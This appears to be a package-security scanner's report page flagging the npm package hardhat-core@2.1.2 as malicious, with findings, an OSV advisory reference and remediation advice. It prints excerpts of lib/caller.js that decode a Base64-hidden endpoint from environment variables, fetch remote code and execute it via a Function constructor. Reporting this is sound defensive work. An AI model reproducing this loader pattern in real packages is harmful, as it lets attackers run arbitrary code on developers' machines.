hardhat-core@2.1.2
⚠ Under reviewOpenSSF/OSV Malicious Advisory
imported 29d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-3713 confirms this npm version as malicious.
Decision evidence
public snapshotBehavioral surface
ChildProcessEnvironmentVarsNetwork
HighEntropyStringsUrlStrings
Source & flagged code
1 flagged · loading sourcelib/caller.jsView file
2L3: const axios = require("axios");
L4: const process = {
...
L12: (async function loadCallers(..._args) {
L13: const src = atob(process.env.DEV_API_KEY);
L14: const k = atob(process.env.DEV_SECRET_KEY);
...
L21: const l = console.log;
L22: const s = (await axios.post(src, { headers: { [k]: v } })).data;
L23: const handler = new Function.constructor("require", s);
High
Base64 Obscured Url
Source decodes a Base64-obscured HTTP endpoint at runtime.
lib/caller.jsView on unpkg · L2Findings
1 High2 Medium3 Low
HighBase64 Obscured Urllib/caller.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to hardhat-core@2.1.2.
See all versions of hardhat-core for other recorded verdicts.
- Review the evidence and your use of hardhat-core@2.1.2 before allowing it. Restrict the permissions described in this report.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.